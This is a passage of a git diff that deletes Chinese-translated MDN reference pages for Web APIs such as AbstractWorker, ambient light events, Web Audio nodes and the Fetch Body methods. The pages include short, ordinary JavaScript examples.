diff options
Diffstat (limited to 'files/zh-cn/orphaned/web/api')
93 files changed, 0 insertions, 8563 deletions
diff --git a/files/zh-cn/orphaned/web/api/abstractworker/index.html b/files/zh-cn/orphaned/web/api/abstractworker/index.html deleted file mode 100644 index b92de9c8ff..0000000000 --- a/files/zh-cn/orphaned/web/api/abstractworker/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: AbstractWorker -slug: orphaned/Web/API/AbstractWorker -tags: - - API - - AbstractWorker - - Interface - - Reference - - SharedWorker - - Web Workers - - Worker -translation_of: Web/API/AbstractWorker -original_slug: Web/API/AbstractWorker ---- -<p>{{ APIRef("Web Workers API") }}</p> - -<p> <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a> 的 <strong><code>AbstractWorker</code></strong> 接口是一个定义适用于所有类型 worker 属性和方法的抽象接口,包括基础的 {{domxref("Worker")}},{{domxref("ServiceWorker")}} 以及 {{domxref("SharedWorker")}}。作为一个抽象类,你不能直接使用 <code>AbstractWorker</code>。</p> - -<h2 id="属性">属性</h2> - -<p><em><code>AbstractWorker</code></em><em> 接口不会继承任何属性。</em></p> - -<h3 id="事件处理函数">事件处理函数</h3> - -<dl> - <dt>{{domxref("AbstractWorker.onerror")}}</dt> - <dd>当 worker 中出现 {{domxref("ErrorEvent")}} 类型的错误时,{{ domxref("EventListener") }} 就会被调用。</dd> -</dl> - -<h2 id="方法">方法</h2> - -<p><em><code>AbstractWorker</code></em><em> 接口不会实现或继承任何方法。</em></p> - -<h2 id="例子">例子</h2> - -<p>作为一个抽象类接口,你不应该在代码中直接使用 <code>AbstractWorker</code> 接口。取而代之,你应该使用 {{domxref("Worker")}} 或 {{domxref("SharedWorker")}},这两者都继承了 <code>AbstractWorker</code> 的属性。</p> - -<p>下面的一小段代码是展示如何使用 {{domxref("Worker.Worker", "Worker()")}} 构造函数构造 {{domxref("Worker")}} 对象并使用它:</p> - -<pre class="notranslate"><code>var myWorker = new Worker("worker.js"); - -first.onchange = function() { - myWorker.postMessage([first.value,second.value]); - console.log('Message posted to worker'); -}</code></pre> - -<p>worker 的代码会从 <code>"worker.js"</code> 文件被加载。代码假设这里已经有一个现成的 {{HTMLElement("input")}} 元素且由 <code>first</code> 表示;设置了一个用于 {{event("change")}} 事件的事件处理函数,所以当用户更改 <code>first</code> 的值时,一个提示信息会被提交且通知到 worker。</p> - -<p>完整的例子,请看:</p> - -<ul> - <li><a href="https://github.com/mdn/simple-web-worker">专用worker的基本例子</a> ( <a href="http://mdn.github.io/simple-web-worker/">运行专用worker</a> )</li> - <li><a href="https://github.com/mdn/simple-shared-worker">共享worker的基本例子</a> ( <a href="http://mdn.github.io/simple-shared-worker/">运行共享worker</a> )</li> -</ul> - -<h2 id="相关规范">相关规范</h2> - -<table> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("HTML WHATWG", "#abstractworker", "AbstractWorker")}}</td> - <td>{{Spec2("HTML WHATWG")}}</td> - <td>No change from {{SpecName("Web Workers")}}.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性"><br> - 浏览器兼容性</h2> - -<p>{{Compat("api.AbstractWorker")}}</p> - -<div id="compat-desktop"></div> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{domxref("Worker")}},{{domxref("ServiceWorker")}} 以及 {{domxref("SharedWorker")}} 接口,都基于 <code>AbstractWorker</code> 定义</li> - <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></li> - <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using Web Workers</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/abstractworker/onerror/index.html b/files/zh-cn/orphaned/web/api/abstractworker/onerror/index.html deleted file mode 100644 index fe50b2e767..0000000000 --- a/files/zh-cn/orphaned/web/api/abstractworker/onerror/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: AbstractWorker.onerror -slug: orphaned/Web/API/AbstractWorker/onerror -tags: - - API - - AbstractWorker - - EventHandler - - Property - - Reference - - Web Workers - - Workers - - onerror -translation_of: Web/API/AbstractWorker/onerror -original_slug: Web/API/AbstractWorker/onerror ---- -<p>{{ APIRef("Web Workers API") }}</p> - -<h2 id="概述">概述</h2> - -<p>{{domxref("AbstractWorker")}}接口的<strong><code>onerror</code></strong>特性是一个事件句柄,在 {{domxref("Worker")}}的{{event("error")}}事件触发并冒泡时执行。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">myWorker.onerror = function() { ... };</pre> - -<h2 id="示例">示例</h2> - -<p>下面的代码片段展示了通过 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker.Worker" title="The Worker() constructor creates a Worker that executes the script at the specified URL. This script must obey the same-origin policy."><code>Worker()</code></a> 创建 <a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Worker" title="Worker 是可以在后台运行的任务,它能够被轻松的创建,还能向它的创建者发送消息。 你只要调用 Worker() 构造函数,指定一个需要运行在 worker 线程内的脚本,就能够很容易的创建一个 worker。"><code>Worker</code></a> 对象的过程, 以及设置onerror回调函数:</p> - -<pre class="brush: js">var myWorker = new Worker("worker.js"); - -myWorker.onerror = function() { - console.log('There is an error with your worker!'); -}</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('HTML WHATWG', "#handler-abstractworker-onerror", "AbstractWorker.onerror")}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>No change from {{SpecName("Web Workers")}}.</td> - </tr> - <tr> - <td>{{SpecName('Web Workers', "#handler-abstractworker-onerror", "AbstractWorker.onerror")}}</td> - <td>{{Spec2('Web Workers')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<div> -<p>{{Compat("api.AbstractWorker.onerror")}}</p> - -<h3 id="试图加载跨域_Worker_的错误差异">试图加载跨域 Worker 的错误差异</h3> - -<p>早期浏览器会抛出 <code>SecurityError</code>,在规范变更后,则是 {{event("error")}} 事件。具体见 <a href="https://www.fxsitecompat.com/en-CA/docs/2016/loading-cross-origin-worker-now-fires-error-event-instead-of-throwing-worker-in-sandboxed-iframe-no-longer-allowed/">Loading cross-origin worker now fires error event instead of throwing; worker in sandboxed iframe no longer allowed</a>.</p> -</div> - -<div id="compat-mobile"> </div> - -<h2 id="另请参阅">另请参阅</h2> - -<ul> - <li>The {{domxref("AbstractWorker")}} interface it belongs to.</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/ambient_light_events/index.html b/files/zh-cn/orphaned/web/api/ambient_light_events/index.html deleted file mode 100644 index 79a7ed9fbe..0000000000 --- a/files/zh-cn/orphaned/web/api/ambient_light_events/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Using Light Events -slug: orphaned/Web/API/Ambient_Light_Events -tags: - - WebAPI - - 事件 - - 环境光 -translation_of: Web/API/Ambient_Light_Events -original_slug: Web/API/Ambient_Light_Events ---- -<div>{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}</div> - -<p>环境光线事件是一个易用的让网页或应用感知光强变化的方法。它使网页或应用能对光强变化做出反应,例如改变用户界面的颜色对比度,或为拍照而改变曝光度。</p> - -<h2 id="光线事件">光线事件</h2> - -<p>当设备的光线传感器检测到光强等级的变化时,它会向浏览器通知这个变化。当浏览器得到这个通知后,会发送(fire)一个提供光强信息的 {{domxref("DeviceLightEvent")}} 事件。</p> - -<p>想要捕获这个事件,可用 {{domxref("EventTarget.addEventListener","addEventListener")}} 方法把事件处理器绑定到 <code>window</code> 上(使用 {{event("devicelight")}} 事件名),或者直接把事件处理器赋值给 {{domxref("window.ondevicelight")}} 属性。</p> - -<p>该事件被捕捉后,可以从传入的事件对象上的 {{domxref("DeviceLightEvent.value")}} 属性获取光强(单位为 {{interwiki("wikipedia", "lux")}})。</p> - -<h2 id="示例">示例</h2> - -<pre class="brush: js">if ('ondevicelight' in window) { - window.addEventListener('devicelight', function(event) { - var body = document.querySelector('body'); - if (event.value < 50) { - body.classList.add('darklight'); - body.classList.remove('brightlight'); - } else { - body.classList.add('brightlight'); - body.classList.remove('darklight'); - } - }); -} else { - console.log('不支持 devicelight 事件'); -} -</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}</td> - <td>{{ Spec2('AmbientLight') }}</td> - <td>首次定义</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.DeviceLightEvent")}}</p> - -<h3 id="Gecko_备注">Gecko 备注</h3> - -<p>{{event("devicelight")}} 事件在 Firefox Mobile for Android (15.0) 和 Firefox OS (B2G) 上实现并默认可用。从Gecko 22.0 {{geckoRelease("22.0")}} 开始,Mac OS X桌面版也可使用该事件。</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>{{domxref("DeviceLightEvent")}}</li> - <li>{{event("devicelight")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/analysernode/fft/index.html b/files/zh-cn/orphaned/web/api/analysernode/fft/index.html deleted file mode 100644 index 77290a3c99..0000000000 --- a/files/zh-cn/orphaned/web/api/analysernode/fft/index.html +++ /dev/null @@ -1,8 +0,0 @@ ---- -title: Directory failure 目录失效 -slug: orphaned/Web/API/AnalyserNode/fft -original_slug: Web/API/AnalyserNode/fft ---- -<p>目录失效</p> - -<p dir="ltr" id="tw-target-text">Directory failure</p> diff --git a/files/zh-cn/orphaned/web/api/audiocontext/mozaudiochanneltype/index.html b/files/zh-cn/orphaned/web/api/audiocontext/mozaudiochanneltype/index.html deleted file mode 100644 index 91c65f922a..0000000000 --- a/files/zh-cn/orphaned/web/api/audiocontext/mozaudiochanneltype/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: AudioContext.mozAudioChannelType -slug: orphaned/Web/API/AudioContext/mozAudioChannelType -translation_of: Web/API/AudioContext/mozAudioChannelType -original_slug: Web/API/AudioContext/mozAudioChannelType ---- -<p>{{APIRef("Web Audio API")}} {{Non-standard_header}}</p> - -<p>{{domxref("AudioContext")}}的<code>mozAudioChannelType</code>属性是只读的,在Firefox OS设备上可以用来设置音频在audio context中播放的声道。</p> - -<p>该属性是<a href="/en-US/docs/Web/API/AudioChannels_API">AudioChannels API</a>中定义的非标准属性,更多信息请查看<a href="https://developer.mozilla.org/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the AudioChannels API</a></p> - -<h2 id="语法">语法</h2> - -<pre class="brush: js">var audioCtx = new AudioContext(); -var myAudioChannelType = audioCtx.mozAudioChannelType; -</pre> - -<p>只能通过下面的构造器来设置AudioContext中音频的声道:</p> - -<pre class="brush: js">var audioCtx = new AudioContext('ringer');</pre> - -<h3 id="返回值">返回值</h3> - -<p>A {{domxref("DOMString")}} value.</p> - -<h2 id="例子">例子</h2> - -<p>TBD</p> - -<h2 id="规范">规范</h2> - -<p>AudioChannels API目前没有官方规范,实现细节请查看<a href="https://wiki.mozilla.org/WebAPI/AudioChannels">https://wiki.mozilla.org/WebAPI/AudioChannels</a>、WebIDL等等</p> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>General support</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome</th> - <th>Firefox Mobile (Gecko)</th> - <th>Firefox OS</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>General support</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>1.2</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="另见">另见</h2> - -<ul> - <li><a href="/en-US/Apps/Build/App_permissions">App permissions for Firefox OS</a></li> - <li><a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the AudioChannels API</a></li> - <li>{{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}}</li> - <li>{{domxref("AudioContext")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/audionode/connect(audioparam)/index.html b/files/zh-cn/orphaned/web/api/audionode/connect(audioparam)/index.html deleted file mode 100644 index 46011aa83e..0000000000 --- a/files/zh-cn/orphaned/web/api/audionode/connect(audioparam)/index.html +++ /dev/null @@ -1,164 +0,0 @@ ---- -title: AudioNode.connect(AudioParam) -slug: orphaned/Web/API/AudioNode/connect(AudioParam) -translation_of: Web/API/AudioNode/connect(AudioParam) -original_slug: Web/API/AudioNode/connect(AudioParam) ---- -<p>{{ APIRef("Web Audio API") }}</p> - -<div> -<p>允许我们将当前节点的一个输出连接到音频参数的一个输入,并允许通过音频信号控制参数。<br> - 使AudioNode输出连接到多个AudioParam,并将多个AudioNode输出连接到单个 AudioParam,同时多次调用connect()。因此支持Fan-in and fan-out。<br> - AudioParam可以从连接到它的任何AudioNode输出获取渲染的音频数据,并通过下混合将其转换为单声道(如果本身不是单声道的话)。然后,它将其他这样的输出和固定参数混合( AudioParam的值通常没有任何连接),包括为参数调度的任何时间的变化。<br> - 因此,可以通过将AudioParam的值设置为中心频率来选择AudioParam将要更改的范围,并使用音频源和AudioParam之间的GainNode来调整AudioParam更改的范围。</p> -</div> - -<h2 id="Syntax">Syntax</h2> - -<pre class="brush: js;highlight[11]">var lfo = audioCtx.createOscillator(); -lfo.frequency.value = 2.0; // Hz, two times per second - -var lfoGain = audioCtx.createGain(); -lfoGain.gain.value = 0.5; - -// this is the parameter that is going to be modulated -var gain = audioCtx.createGain(); -gain.gain.value = 0.5; - -// Oscillators go from -1 to 1 -// Make it go from -0.5 to +0.5 by connecting it to a GainNode with a gain value of 0.5 -lfo.connect(lfoGain); - -// because the value of the gain.gain AudioParam is originaly 0.5, the value is added, and it will go from 0.0 to 1.0 -lfoGain.connect(gain.gain); - -lfo.connect(gain.gain);</pre> - -<div class="note"> -<p><strong>Note</strong>: There can only be one connection between an output from one specific <code>AudioNode</code> and an {{ domxref("AudioParam") }}. Multiple connections to the same termini are equivalent to a single such connection (the duplicates are ignored).</p> -</div> - -<h3 id="Description" name="Description">Returns</h3> - -<p>Void.</p> - -<h2 id="Examples" name="Examples">Example</h2> - -<p>In this example, we will be altering the gain value of a {{domxref("GainNode")}} using an {{domxref("OscillatorNode")}} with a slow frequency value. This technique is know as an <em>LFO</em>-controlled parameter.</p> - -<pre class="brush: js;highlight[8,9]">var AudioContext = window.AudioContext || window.webkitAudioContext; - -var audioCtx = new AudioContext(); - -// create an normal oscillator to make sound -var oscillator = audioCtx.createOscillator(); - -// create a second oscillator that will be used as an LFO (Low-frequency -// oscillator), and will control a parameter -var lfo = audioCtx.createOscillator(); - -// set the frequency of the second oscillator to a low number -lfo.frequency.value = 2.0; // 2Hz: two oscillations par second - -// create a gain whose gain AudioParam will be controlled by the LFO -var gain = audioCtx.createGain(); - -// connect the LFO to the gain AudioParam. This means the value of the LFO -// will not produce any audio, but will change the value of the gain instead -lfo.connect(gain.gain); - -// connect the oscillator that will produce audio to the gain -oscillator.connect(gain); - -// connect the gain to the destination so we hear sound -gain.connect(audioCtx.destination); - -// start the oscillator that will produce audio -oscillator.start(); - -// start the oscillator that will modify the gain value -lfo.start();</pre> - -<h2 id="Parameters" name="Parameters">Parameters</h2> - -<dl> - <dt>Destination</dt> - <dd>The {{ domxref("AudioParam") }} you are connecting to.</dd> - <dt>Output (optional)</dt> - <dd>An index describing which output of the current <code>AudioNode</code> you want to connect to the {{ domxref("AudioParam") }}. The index numbers are defined according to the number of output channels (see <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Audio_channels">Audio channels</a>.) If this parameter is out-of-bound, an <code>INDEX_SIZE_ERR</code> exception is thrown.</dd> -</dl> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Web Audio API', '#widl-AudioNode-connect-void-AudioParam-destination-unsigned-long-output', 'connect(AudioParam)')}}</td> - <td>{{Spec2('Web Audio API')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td><code>connect</code><code>(AudioParam)</code></td> - <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>Firefox OS (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td><code>connect</code><code>(AudioParam)</code></td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/body/arraybuffer/index.html b/files/zh-cn/orphaned/web/api/body/arraybuffer/index.html deleted file mode 100644 index 5d7acf678f..0000000000 --- a/files/zh-cn/orphaned/web/api/body/arraybuffer/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Body.arrayBuffer() -slug: orphaned/Web/API/Body/arrayBuffer -translation_of: Web/API/Body/arrayBuffer -original_slug: Web/API/Body/arrayBuffer ---- -<p>{{APIRef("Fetch")}}{{ SeeCompatTable() }}</p> - -<p> {{domxref("Body")}}上的<strong><code>方法 arrayBuffer()</code></strong> 接受一个 {{domxref("Response")}} 流, 并等待其读取完成. 它返回一个 promise 实例, 并 resolve 一个 {{domxref("ArrayBuffer")}} 对象.</p> - -<h2 id="语法">语法</h2> - -<pre class="brush: js">response.arrayBuffer().then(function(buffer) { - // do something with buffer -)};</pre> - -<h3 id="参数">参数</h3> - -<p>无。</p> - -<h3 id="返回值">返回值</h3> - -<p>A promise that resolves with an {{domxref("ArrayBuffer")}}.</p> - -<h2 id="例子">例子</h2> - -<p>In our <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-array-buffer">fetch array buffer example</a> (run <a href="http://mdn.github.io/fetch-examples/fetch-array-buffer/">fetch array buffer live</a>), we have a Play button. When pressed, the <code>getData()</code> function is run.</p> - -<p>In <code>getData()</code> we create a new request using the {{domxref("Request.Request")}} constructor, then use it to fetch an OGG music track. We also use {{domxref("AudioContext.createBufferSource")}} to create an audio buffer source. When the fetch is successful, we read an {{domxref("ArrayBuffer")}} out of the response using <code>arrayBuffer()</code>, decode the audio data using {{domxref("AudioContext.decodeAudioData")}}, set the decoded data as the audio buffer source's buffer (<code>source.buffer</code>), then connect the source up to the {{domxref("AudioContext.destination")}}.</p> - -<p>Once <code>getData()</code> has finished running, we start the audio source playing with <code>start(0)</code>, then disable the play button so it can't be clicked again when it is already playing (this would cause an error.)</p> - -<pre class="brush: js">function getData() { - source = audioCtx.createBufferSource(); - - var myRequest = new Request('viper.ogg'); - - fetch(myRequest).then(function(response) { - response.arrayBuffer().then(function(buffer) { - audioCtx.decodeAudioData(buffer, function(decodedData) { - source.buffer = decodedData; - source.connect(audioCtx.destination); - }); - }); - }); -}; - -// wire up buttons to stop and play audio - -play.onclick = function() { - getData(); - source.start(0); - play.setAttribute('disabled', 'disabled'); -}</pre> - -<h2 id="标准">标准</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">标准</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{SpecName('Fetch','#dom-body-arraybuffer','arrayBuffer()')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatChrome(41) }}<sup>[1]</sup><br> - {{ CompatChrome(42) }}<br> - </td> - <td>34<sup>[1]</sup><br> - {{ CompatGeckoDesktop(39)}}</td> - <td>{{ CompatNo }}</td> - <td> - <p>28<sup>[1]</sup><br> - 29</p> - </td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>Firefox OS (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] In Chrome 42, Firefox 34 and Opera 28 support for <code>arrayBuffer()</code> was hidden behind a preference.</p> - -<h2 id="参考">参考</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> -</ul> - -<div id="sVim-command" class="hidden">-- NORMAL --</div> diff --git a/files/zh-cn/orphaned/web/api/body/blob/index.html b/files/zh-cn/orphaned/web/api/body/blob/index.html deleted file mode 100644 index 4f09632307..0000000000 --- a/files/zh-cn/orphaned/web/api/body/blob/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: Body.blob() -slug: orphaned/Web/API/Body/blob -tags: - - Body.blob() -translation_of: Web/API/Body/blob -original_slug: Web/API/Body/blob ---- -<p>{{APIRef("Fetch")}}</p> - -<p>{{domxref("Body")}} mixin的 <strong><code>blob()</code></strong>方法使用一个 {{domxref("Response")}} 流,并将其读取完成。它返回一个使用{{domxref("Blob")}}解决的promise。</p> - -<h2 id="句法">句法</h2> - -<pre class="brush: js">response.blob().then(function(myBlob) { - // do something with myBlob -});</pre> - -<h3 id="参数">参数</h3> - -<p>None.</p> - -<h3 id="返回值">返回值</h3> - -<p>A promise that resolves with a {{domxref("Blob")}}.</p> - -<h2 id="例子">例子</h2> - -<p>在我们 <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-request">fetch request example</a> (run <a href="http://mdn.github.io/fetch-examples/fetch-request/">fetch request live</a>)中,我们使用<a href="/zh-CN/docs/Mozilla/Add-ons/WebExtensions/API/webRequest/RequestFilter">Request.Request</a>构造方法创建了一个新的request对象,然后使用它来获取一个JPG文件。当fetch成功的时候,我们使用blob()从response中读取一个<a href="/zh-CN/docs/Web/API/Blob">Blob</a>对象,并使用<a href="/zh-CN/docs/Web/API/URL/createObjectURL">URL.createObjectURL</a> 将它放入一个object URL ,然后把URL设置为<a href="/zh-CN/docs/Web/HTML/Element/img">img</a>元素的src属性以显示这张图片。</p> - -<p> </p> - -<pre class="brush: js">var myImage = document.querySelector('img'); - -var myRequest = new Request('flowers.jpg'); - -fetch(myRequest) -.then(function(response) { - return response.blob(); -}) -.then(function(myBlob) { - var objectURL = URL.createObjectURL(myBlob); - myImage.src = objectURL; -}); -</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">说明</th> - </tr> - <tr> - <td>{{SpecName('Fetch','#dom-body-blob','blob()')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatChrome(42) }} [1]<br> - </td> - <td>{{CompatVersionUnknown}}</td> - <td>{{ CompatGeckoDesktop(39)}} [2]</td> - <td>{{ CompatNo }}</td> - <td> - <p>29 [3]</p> - </td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>Firefox OS (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo }}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] Behind a preference in version 41.</p> - -<p>[2] Behind a preference starting with version 34.</p> - -<p>[3] Behind a preference in version 28.</p> - -<h2 id="另见">另见</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/body/body/index.html b/files/zh-cn/orphaned/web/api/body/body/index.html deleted file mode 100644 index abf63535fc..0000000000 --- a/files/zh-cn/orphaned/web/api/body/body/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Body.body -slug: orphaned/Web/API/Body/body -translation_of: Web/API/Body/body -original_slug: Web/API/Body/body ---- -<div>{{APIRef("Fetch")}}</div> - -<p>{{domxref("Body")}} mixin的只读getter属性 <strong><code>body</code></strong> 用于暴露其body内容的{{domxref("ReadableStream")}}(流读取)。</p> - -<h2 id="语法">语法</h2> - -<pre class="brush: js">var stream = responseInstance.body;</pre> - -<h3 id="Value">Value</h3> - -<p>一个 {{domxref("ReadableStream")}}.</p> - -<h2 id="例程">例程</h2> - -<p>在我们的 <a href="https://mdn.github.io/dom-examples/streams/simple-pump.html">simple stream pump</a> 例程中我们fetch一个图片地址,使用<code>response.body</code>暴露响应的流,用{{domxref("body.getReader()", "ReadableStream.getReader()")}}创建一个读取器,然后将其置入第二个自定义读取流中——有效的创建了一个完全相同的图片副本。</p> - -<pre class="brush: js">const image = document.getElementById('target'); - -// 请求原始图片 -fetch('./tortoise.png') -// 取出body -.then(response => response.body) -.then(body => { - const reader = body.getReader(); - - return new ReadableStream({ - start(controller) { - return pump(); - - function pump() { - return reader.read().then(({ done, value }) => { - // 读不到更多数据就关闭流 - if (done) { - controller.close(); - return; - } - - // 将下一个数据块置入流中 - controller.enqueue(value); - return pump(); - }); - } - } - }) -}) -.then(stream => new Response(stream)) -.then(response => response.blob()) -.then(blob => URL.createObjectURL(blob)) -.then(url => console.log(image.src = url)) -.catch(err => console.error(err));</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{SpecName('Fetch','#dom-body-body','body')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<div>{{Compat("api.Body.body")}}</div> - -<p> </p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li> - <li><a href="/en-US/docs/Web/API/Streams_API">Streams API</a></li> - <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/body/bodyused/index.html 